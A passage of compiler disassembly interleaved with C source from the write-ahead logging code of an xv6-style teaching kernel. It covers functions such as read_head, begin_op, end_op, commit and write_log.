ffff800000104ffc: 8b 50 68 mov 0x68(%rax),%edx
ffff800000104fff: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000105002: 01 d0 add %edx,%eax
ffff800000105004: 83 c0 01 add $0x1,%eax
ffff800000105007: 89 c2 mov %eax,%edx
ffff800000105009: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105010: 80 ff ff
ffff800000105013: 8b 40 78 mov 0x78(%rax),%eax
ffff800000105016: 89 d6 mov %edx,%esi
ffff800000105018: 89 c7 mov %eax,%edi
ffff80000010501a: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000105021: 80 ff ff
ffff800000105024: ff d0 callq *%rax
ffff800000105026: 48 89 45 f0 mov %rax,-0x10(%rbp)
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
ffff80000010502a: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105031: 80 ff ff
ffff800000105034: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105037: 48 63 d2 movslq %edx,%rdx
ffff80000010503a: 48 83 c2 1c add $0x1c,%rdx
ffff80000010503e: 8b 44 90 10 mov 0x10(%rax,%rdx,4),%eax
ffff800000105042: 89 c2 mov %eax,%edx
ffff800000105044: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010504b: 80 ff ff
ffff80000010504e: 8b 40 78 mov 0x78(%rax),%eax
ffff800000105051: 89 d6 mov %edx,%esi
ffff800000105053: 89 c7 mov %eax,%edi
ffff800000105055: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff80000010505c: 80 ff ff
ffff80000010505f: ff d0 callq *%rax
ffff800000105061: 48 89 45 e8 mov %rax,-0x18(%rbp)
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
ffff800000105065: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105069: 48 8d 88 b0 00 00 00 lea 0xb0(%rax),%rcx
ffff800000105070: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105074: 48 05 b0 00 00 00 add $0xb0,%rax
ffff80000010507a: ba 00 02 00 00 mov $0x200,%edx
ffff80000010507f: 48 89 ce mov %rcx,%rsi
ffff800000105082: 48 89 c7 mov %rax,%rdi
ffff800000105085: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff80000010508c: 80 ff ff
ffff80000010508f: ff d0 callq *%rax
bwrite(dbuf); // write dst to disk
ffff800000105091: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105095: 48 89 c7 mov %rax,%rdi
ffff800000105098: 48 b8 10 04 10 00 00 movabs $0xffff800000100410,%rax
ffff80000010509f: 80 ff ff
ffff8000001050a2: ff d0 callq *%rax
brelse(lbuf);
ffff8000001050a4: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001050a8: 48 89 c7 mov %rax,%rdi
ffff8000001050ab: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001050b2: 80 ff ff
ffff8000001050b5: ff d0 callq *%rax
brelse(dbuf);
ffff8000001050b7: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001050bb: 48 89 c7 mov %rax,%rdi
ffff8000001050be: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001050c5: 80 ff ff
ffff8000001050c8: ff d0 callq *%rax
for (tail = 0; tail < log.lh.n; tail++) {
ffff8000001050ca: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001050ce: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001050d5: 80 ff ff
ffff8000001050d8: 8b 40 7c mov 0x7c(%rax),%eax
ffff8000001050db: 39 45 fc cmp %eax,-0x4(%rbp)
ffff8000001050de: 0f 8c 0e ff ff ff jl ffff800000104ff2 <install_trans+0x18>
}
}
ffff8000001050e4: 90 nop
ffff8000001050e5: 90 nop
ffff8000001050e6: c9 leaveq
ffff8000001050e7: c3 retq
ffff8000001050e8 <read_head>:
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
ffff8000001050e8: f3 0f 1e fa endbr64
ffff8000001050ec: 55 push %rbp
ffff8000001050ed: 48 89 e5 mov %rsp,%rbp
ffff8000001050f0: 48 83 ec 20 sub $0x20,%rsp
struct buf *buf = bread(log.dev, log.start);
ffff8000001050f4: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001050fb: 80 ff ff
ffff8000001050fe: 8b 40 68 mov 0x68(%rax),%eax
ffff800000105101: 89 c2 mov %eax,%edx
ffff800000105103: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010510a: 80 ff ff
ffff80000010510d: 8b 40 78 mov 0x78(%rax),%eax
ffff800000105110: 89 d6 mov %edx,%esi
ffff800000105112: 89 c7 mov %eax,%edi
ffff800000105114: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff80000010511b: 80 ff ff
ffff80000010511e: ff d0 callq *%rax
ffff800000105120: 48 89 45 f0 mov %rax,-0x10(%rbp)
struct logheader *lh = (struct logheader *) (buf->data);
ffff800000105124: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105128: 48 05 b0 00 00 00 add $0xb0,%rax
ffff80000010512e: 48 89 45 e8 mov %rax,-0x18(%rbp)
int i;
log.lh.n = lh->n;
ffff800000105132: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105136: 8b 00 mov (%rax),%eax
ffff800000105138: 48 ba e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdx
ffff80000010513f: 80 ff ff
ffff800000105142: 89 42 7c mov %eax,0x7c(%rdx)
for (i = 0; i < log.lh.n; i++) {
ffff800000105145: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010514c: eb 2a jmp ffff800000105178 <read_head+0x90>
log.lh.block[i] = lh->block[i];
ffff80000010514e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105152: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105155: 48 63 d2 movslq %edx,%rdx
ffff800000105158: 8b 44 90 04 mov 0x4(%rax,%rdx,4),%eax
ffff80000010515c: 48 ba e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdx
ffff800000105163: 80 ff ff
ffff800000105166: 8b 4d fc mov -0x4(%rbp),%ecx
ffff800000105169: 48 63 c9 movslq %ecx,%rcx
ffff80000010516c: 48 83 c1 1c add $0x1c,%rcx
ffff800000105170: 89 44 8a 10 mov %eax,0x10(%rdx,%rcx,4)
for (i = 0; i < log.lh.n; i++) {
ffff800000105174: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000105178: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010517f: 80 ff ff
ffff800000105182: 8b 40 7c mov 0x7c(%rax),%eax
ffff800000105185: 39 45 fc cmp %eax,-0x4(%rbp)
ffff800000105188: 7c c4 jl ffff80000010514e <read_head+0x66>
}
brelse(buf);
ffff80000010518a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010518e: 48 89 c7 mov %rax,%rdi
ffff800000105191: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000105198: 80 ff ff
ffff80000010519b: ff d0 callq *%rax
}
ffff80000010519d: 90 nop
ffff80000010519e: c9 leaveq
ffff80000010519f: c3 retq
ffff8000001051a0 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
ffff8000001051a0: f3 0f 1e fa endbr64
ffff8000001051a4: 55 push %rbp
ffff8000001051a5: 48 89 e5 mov %rsp,%rbp
ffff8000001051a8: 48 83 ec 20 sub $0x20,%rsp
struct buf *buf = bread(log.dev, log.start);
ffff8000001051ac: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001051b3: 80 ff ff
ffff8000001051b6: 8b 40 68 mov 0x68(%rax),%eax
ffff8000001051b9: 89 c2 mov %eax,%edx
ffff8000001051bb: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001051c2: 80 ff ff
ffff8000001051c5: 8b 40 78 mov 0x78(%rax),%eax
ffff8000001051c8: 89 d6 mov %edx,%esi
ffff8000001051ca: 89 c7 mov %eax,%edi
ffff8000001051cc: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff8000001051d3: 80 ff ff
ffff8000001051d6: ff d0 callq *%rax
ffff8000001051d8: 48 89 45 f0 mov %rax,-0x10(%rbp)
struct logheader *hb = (struct logheader *) (buf->data);
ffff8000001051dc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001051e0: 48 05 b0 00 00 00 add $0xb0,%rax
ffff8000001051e6: 48 89 45 e8 mov %rax,-0x18(%rbp)
int i;
hb->n = log.lh.n;
ffff8000001051ea: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001051f1: 80 ff ff
ffff8000001051f4: 8b 50 7c mov 0x7c(%rax),%edx
ffff8000001051f7: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001051fb: 89 10 mov %edx,(%rax)
for (i = 0; i < log.lh.n; i++) {
ffff8000001051fd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000105204: eb 2a jmp ffff800000105230 <write_head+0x90>
hb->block[i] = log.lh.block[i];
ffff800000105206: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010520d: 80 ff ff
ffff800000105210: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105213: 48 63 d2 movslq %edx,%rdx
ffff800000105216: 48 83 c2 1c add $0x1c,%rdx
ffff80000010521a: 8b 4c 90 10 mov 0x10(%rax,%rdx,4),%ecx
ffff80000010521e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105222: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105225: 48 63 d2 movslq %edx,%rdx
ffff800000105228: 89 4c 90 04 mov %ecx,0x4(%rax,%rdx,4)
for (i = 0; i < log.lh.n; i++) {
ffff80000010522c: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000105230: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105237: 80 ff ff
ffff80000010523a: 8b 40 7c mov 0x7c(%rax),%eax
ffff80000010523d: 39 45 fc cmp %eax,-0x4(%rbp)
ffff800000105240: 7c c4 jl ffff800000105206 <write_head+0x66>
}
bwrite(buf);
ffff800000105242: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105246: 48 89 c7 mov %rax,%rdi
ffff800000105249: 48 b8 10 04 10 00 00 movabs $0xffff800000100410,%rax
ffff800000105250: 80 ff ff
ffff800000105253: ff d0 callq *%rax
brelse(buf);
ffff800000105255: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105259: 48 89 c7 mov %rax,%rdi
ffff80000010525c: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff800000105263: 80 ff ff
ffff800000105266: ff d0 callq *%rax
}
ffff800000105268: 90 nop
ffff800000105269: c9 leaveq
ffff80000010526a: c3 retq
ffff80000010526b <recover_from_log>:
static void
recover_from_log(void)
{
ffff80000010526b: f3 0f 1e fa endbr64
ffff80000010526f: 55 push %rbp
ffff800000105270: 48 89 e5 mov %rsp,%rbp
read_head();
ffff800000105273: 48 b8 e8 50 10 00 00 movabs $0xffff8000001050e8,%rax
ffff80000010527a: 80 ff ff
ffff80000010527d: ff d0 callq *%rax
install_trans(); // if committed, copy from log to disk
ffff80000010527f: 48 b8 da 4f 10 00 00 movabs $0xffff800000104fda,%rax
ffff800000105286: 80 ff ff
ffff800000105289: ff d0 callq *%rax
log.lh.n = 0;
ffff80000010528b: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105292: 80 ff ff
ffff800000105295: c7 40 7c 00 00 00 00 movl $0x0,0x7c(%rax)
write_head(); // clear the log
ffff80000010529c: 48 b8 a0 51 10 00 00 movabs $0xffff8000001051a0,%rax
ffff8000001052a3: 80 ff ff
ffff8000001052a6: ff d0 callq *%rax
}
ffff8000001052a8: 90 nop
ffff8000001052a9: 5d pop %rbp
ffff8000001052aa: c3 retq
ffff8000001052ab <begin_op>:
// called at the start of each FS system call.
void
begin_op(void)
{
ffff8000001052ab: f3 0f 1e fa endbr64
ffff8000001052af: 55 push %rbp
ffff8000001052b0: 48 89 e5 mov %rsp,%rbp
acquire(&log.lock);
ffff8000001052b3: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff8000001052ba: 80 ff ff
ffff8000001052bd: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001052c4: 80 ff ff
ffff8000001052c7: ff d0 callq *%rax
while(1){
if(log.committing){
ffff8000001052c9: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001052d0: 80 ff ff
ffff8000001052d3: 8b 40 74 mov 0x74(%rax),%eax
ffff8000001052d6: 85 c0 test %eax,%eax
ffff8000001052d8: 74 22 je ffff8000001052fc <begin_op+0x51>
sleep(&log, &log.lock);
ffff8000001052da: 48 be e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rsi
ffff8000001052e1: 80 ff ff
ffff8000001052e4: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff8000001052eb: 80 ff ff
ffff8000001052ee: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff8000001052f5: 80 ff ff
ffff8000001052f8: ff d0 callq *%rax
ffff8000001052fa: eb cd jmp ffff8000001052c9 <begin_op+0x1e>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
ffff8000001052fc: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105303: 80 ff ff
ffff800000105306: 8b 48 7c mov 0x7c(%rax),%ecx
ffff800000105309: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105310: 80 ff ff
ffff800000105313: 8b 40 70 mov 0x70(%rax),%eax
ffff800000105316: 8d 50 01 lea 0x1(%rax),%edx
ffff800000105319: 89 d0 mov %edx,%eax
ffff80000010531b: c1 e0 02 shl $0x2,%eax
ffff80000010531e: 01 d0 add %edx,%eax
ffff800000105320: 01 c0 add %eax,%eax
ffff800000105322: 01 c8 add %ecx,%eax
ffff800000105324: 83 f8 1e cmp $0x1e,%eax
ffff800000105327: 7e 25 jle ffff80000010534e <begin_op+0xa3>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
ffff800000105329: 48 be e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rsi
ffff800000105330: 80 ff ff
ffff800000105333: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff80000010533a: 80 ff ff
ffff80000010533d: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff800000105344: 80 ff ff
ffff800000105347: ff d0 callq *%rax
ffff800000105349: e9 7b ff ff ff jmpq ffff8000001052c9 <begin_op+0x1e>
} else {
log.outstanding += 1;
ffff80000010534e: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105355: 80 ff ff
ffff800000105358: 8b 40 70 mov 0x70(%rax),%eax
ffff80000010535b: 8d 50 01 lea 0x1(%rax),%edx
ffff80000010535e: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105365: 80 ff ff
ffff800000105368: 89 50 70 mov %edx,0x70(%rax)
release(&log.lock);
ffff80000010536b: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff800000105372: 80 ff ff
ffff800000105375: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010537c: 80 ff ff
ffff80000010537f: ff d0 callq *%rax
break;
ffff800000105381: 90 nop
}
}
}
ffff800000105382: 90 nop
ffff800000105383: 5d pop %rbp
ffff800000105384: c3 retq
ffff800000105385 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
ffff800000105385: f3 0f 1e fa endbr64
ffff800000105389: 55 push %rbp
ffff80000010538a: 48 89 e5 mov %rsp,%rbp
ffff80000010538d: 48 83 ec 10 sub $0x10,%rsp
int do_commit = 0;
ffff800000105391: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
acquire(&log.lock);
ffff800000105398: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff80000010539f: 80 ff ff
ffff8000001053a2: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001053a9: 80 ff ff
ffff8000001053ac: ff d0 callq *%rax
log.outstanding -= 1;
ffff8000001053ae: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001053b5: 80 ff ff
ffff8000001053b8: 8b 40 70 mov 0x70(%rax),%eax
ffff8000001053bb: 8d 50 ff lea -0x1(%rax),%edx
ffff8000001053be: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001053c5: 80 ff ff
ffff8000001053c8: 89 50 70 mov %edx,0x70(%rax)
if(log.committing)
ffff8000001053cb: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001053d2: 80 ff ff
ffff8000001053d5: 8b 40 74 mov 0x74(%rax),%eax
ffff8000001053d8: 85 c0 test %eax,%eax
ffff8000001053da: 74 16 je ffff8000001053f2 <end_op+0x6d>
panic("log.committing");
ffff8000001053dc: 48 bf 00 c7 10 00 00 movabs $0xffff80000010c700,%rdi
ffff8000001053e3: 80 ff ff
ffff8000001053e6: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001053ed: 80 ff ff
ffff8000001053f0: ff d0 callq *%rax
if(log.outstanding == 0){
ffff8000001053f2: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001053f9: 80 ff ff
ffff8000001053fc: 8b 40 70 mov 0x70(%rax),%eax
ffff8000001053ff: 85 c0 test %eax,%eax
ffff800000105401: 75 1a jne ffff80000010541d <end_op+0x98>
do_commit = 1;
ffff800000105403: c7 45 fc 01 00 00 00 movl $0x1,-0x4(%rbp)
log.committing = 1;
ffff80000010540a: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105411: 80 ff ff
ffff800000105414: c7 40 74 01 00 00 00 movl $0x1,0x74(%rax)
ffff80000010541b: eb 16 jmp ffff800000105433 <end_op+0xae>
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
ffff80000010541d: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff800000105424: 80 ff ff
ffff800000105427: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff80000010542e: 80 ff ff
ffff800000105431: ff d0 callq *%rax
}
release(&log.lock);
ffff800000105433: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff80000010543a: 80 ff ff
ffff80000010543d: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000105444: 80 ff ff
ffff800000105447: ff d0 callq *%rax
if(do_commit){
ffff800000105449: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff80000010544d: 74 64 je ffff8000001054b3 <end_op+0x12e>
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
ffff80000010544f: b8 00 00 00 00 mov $0x0,%eax
ffff800000105454: 48 ba c4 55 10 00 00 movabs $0xffff8000001055c4,%rdx
ffff80000010545b: 80 ff ff
ffff80000010545e: ff d2 callq *%rdx
acquire(&log.lock);
ffff800000105460: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff800000105467: 80 ff ff
ffff80000010546a: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000105471: 80 ff ff
ffff800000105474: ff d0 callq *%rax
log.committing = 0;
ffff800000105476: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010547d: 80 ff ff
ffff800000105480: c7 40 74 00 00 00 00 movl $0x0,0x74(%rax)
wakeup(&log);
ffff800000105487: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff80000010548e: 80 ff ff
ffff800000105491: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000105498: 80 ff ff
ffff80000010549b: ff d0 callq *%rax
release(&log.lock);
ffff80000010549d: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff8000001054a4: 80 ff ff
ffff8000001054a7: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001054ae: 80 ff ff
ffff8000001054b1: ff d0 callq *%rax
}
}
ffff8000001054b3: 90 nop
ffff8000001054b4: c9 leaveq
ffff8000001054b5: c3 retq
ffff8000001054b6 <write_log>:
// Copy modified blocks from cache to log.
static void
write_log(void)
{
ffff8000001054b6: f3 0f 1e fa endbr64
ffff8000001054ba: 55 push %rbp
ffff8000001054bb: 48 89 e5 mov %rsp,%rbp
ffff8000001054be: 48 83 ec 20 sub $0x20,%rsp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
ffff8000001054c2: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001054c9: e9 dc 00 00 00 jmpq ffff8000001055aa <write_log+0xf4>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
ffff8000001054ce: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001054d5: 80 ff ff
ffff8000001054d8: 8b 50 68 mov 0x68(%rax),%edx
ffff8000001054db: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001054de: 01 d0 add %edx,%eax
ffff8000001054e0: 83 c0 01 add $0x1,%eax
ffff8000001054e3: 89 c2 mov %eax,%edx
ffff8000001054e5: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001054ec: 80 ff ff
ffff8000001054ef: 8b 40 78 mov 0x78(%rax),%eax
ffff8000001054f2: 89 d6 mov %edx,%esi
ffff8000001054f4: 89 c7 mov %eax,%edi
ffff8000001054f6: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff8000001054fd: 80 ff ff
ffff800000105500: ff d0 callq *%rax
ffff800000105502: 48 89 45 f0 mov %rax,-0x10(%rbp)
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
ffff800000105506: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010550d: 80 ff ff
ffff800000105510: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000105513: 48 63 d2 movslq %edx,%rdx
ffff800000105516: 48 83 c2 1c add $0x1c,%rdx
ffff80000010551a: 8b 44 90 10 mov 0x10(%rax,%rdx,4),%eax
ffff80000010551e: 89 c2 mov %eax,%edx
ffff800000105520: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105527: 80 ff ff
ffff80000010552a: 8b 40 78 mov 0x78(%rax),%eax
ffff80000010552d: 89 d6 mov %edx,%esi
ffff80000010552f: 89 c7 mov %eax,%edi
ffff800000105531: 48 b8 be 03 10 00 00 movabs $0xffff8000001003be,%rax
ffff800000105538: 80 ff ff
ffff80000010553b: ff d0 callq *%rax
ffff80000010553d: 48 89 45 e8 mov %rax,-0x18(%rbp)
memmove(to->data, from->data, BSIZE);
ffff800000105541: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105545: 48 8d 88 b0 00 00 00 lea 0xb0(%rax),%rcx
ffff80000010554c: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105550: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000105556: ba 00 02 00 00 mov $0x200,%edx
ffff80000010555b: 48 89 ce mov %rcx,%rsi
ffff80000010555e: 48 89 c7 mov %rax,%rdi
ffff800000105561: 48 b8 10 7d 10 00 00 movabs $0xffff800000107d10,%rax
ffff800000105568: 80 ff ff
ffff80000010556b: ff d0 callq *%rax
bwrite(to); // write the log
ffff80000010556d: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105571: 48 89 c7 mov %rax,%rdi
ffff800000105574: 48 b8 10 04 10 00 00 movabs $0xffff800000100410,%rax
ffff80000010557b: 80 ff ff
ffff80000010557e: ff d0 callq *%rax
brelse(from);
ffff800000105580: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105584: 48 89 c7 mov %rax,%rdi
ffff800000105587: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff80000010558e: 80 ff ff
ffff800000105591: ff d0 callq *%rax
brelse(to);
ffff800000105593: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105597: 48 89 c7 mov %rax,%rdi
ffff80000010559a: 48 b8 78 04 10 00 00 movabs $0xffff800000100478,%rax
ffff8000001055a1: 80 ff ff
ffff8000001055a4: ff d0 callq *%rax
for (tail = 0; tail < log.lh.n; tail++) {
ffff8000001055a6: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff8000001055aa: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001055b1: 80 ff ff
ffff8000001055b4: 8b 40 7c mov 0x7c(%rax),%eax
ffff8000001055b7: 39 45 fc cmp %eax,-0x4(%rbp)
ffff8000001055ba: 0f 8c 0e ff ff ff jl ffff8000001054ce <write_log+0x18>
}
}
ffff8000001055c0: 90 nop
ffff8000001055c1: 90 nop
ffff8000001055c2: c9 leaveq
ffff8000001055c3: c3 retq
ffff8000001055c4 <commit>:
static void
commit()
{
ffff8000001055c4: f3 0f 1e fa endbr64
ffff8000001055c8: 55 push %rbp
ffff8000001055c9: 48 89 e5 mov %rsp,%rbp
if (log.lh.n > 0) {
ffff8000001055cc: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff8000001055d3: 80 ff ff
ffff8000001055d6: 8b 40 7c mov 0x7c(%rax),%eax
ffff8000001055d9: 85 c0 test %eax,%eax
ffff8000001055db: 7e 41 jle ffff80000010561e <commit+0x5a>
write_log(); // Write modified blocks from cache to log
ffff8000001055dd: 48 b8 b6 54 10 00 00 movabs $0xffff8000001054b6,%rax
ffff8000001055e4: 80 ff ff
ffff8000001055e7: ff d0 callq *%rax
write_head(); // Write header to disk -- the real commit
ffff8000001055e9: 48 b8 a0 51 10 00 00 movabs $0xffff8000001051a0,%rax
ffff8000001055f0: 80 ff ff
ffff8000001055f3: ff d0 callq *%rax
install_trans(); // Now install writes to home locations
ffff8000001055f5: 48 b8 da 4f 10 00 00 movabs $0xffff800000104fda,%rax
ffff8000001055fc: 80 ff ff
ffff8000001055ff: ff d0 callq *%rax
log.lh.n = 0;
ffff800000105601: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105608: 80 ff ff
ffff80000010560b: c7 40 7c 00 00 00 00 movl $0x0,0x7c(%rax)
write_head(); // Erase the transaction from the log
ffff800000105612: 48 b8 a0 51 10 00 00 movabs $0xffff8000001051a0,%rax
ffff800000105619: 80 ff ff
ffff80000010561c: ff d0 callq *%rax
}
}
ffff80000010561e: 90 nop
ffff80000010561f: 5d pop %rbp
ffff800000105620: c3 retq
ffff800000105621 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
ffff800000105621: f3 0f 1e fa endbr64
ffff800000105625: 55 push %rbp
ffff800000105626: 48 89 e5 mov %rsp,%rbp
ffff800000105629: 48 83 ec 20 sub $0x20,%rsp
ffff80000010562d: 48 89 7d e8 mov %rdi,-0x18(%rbp)
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
ffff800000105631: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105638: 80 ff ff
ffff80000010563b: 8b 40 7c mov 0x7c(%rax),%eax
ffff80000010563e: 83 f8 1d cmp $0x1d,%eax
ffff800000105641: 7f 21 jg ffff800000105664 <log_write+0x43>
ffff800000105643: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff80000010564a: 80 ff ff
ffff80000010564d: 8b 40 7c mov 0x7c(%rax),%eax
ffff800000105650: 48 ba e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdx
ffff800000105657: 80 ff ff
ffff80000010565a: 8b 52 6c mov 0x6c(%rdx),%edx
ffff80000010565d: 83 ea 01 sub $0x1,%edx
ffff800000105660: 39 d0 cmp %edx,%eax
ffff800000105662: 7c 16 jl ffff80000010567a <log_write+0x59>
panic("too big a transaction");
ffff800000105664: 48 bf 0f c7 10 00 00 movabs $0xffff80000010c70f,%rdi
ffff80000010566b: 80 ff ff
ffff80000010566e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000105675: 80 ff ff
ffff800000105678: ff d0 callq *%rax
if (log.outstanding < 1)
ffff80000010567a: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000105681: 80 ff ff
ffff800000105684: 8b 40 70 mov 0x70(%rax),%eax
ffff800000105687: 85 c0 test %eax,%eax
ffff800000105689: 7f 16 jg ffff8000001056a1 <log_write+0x80>
panic("log_write outside of trans");
ffff80000010568b: 48 bf 25 c7 10 00 00 movabs $0xffff80000010c725,%rdi
ffff800000105692: 80 ff ff
ffff800000105695: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010569c: 80 ff ff
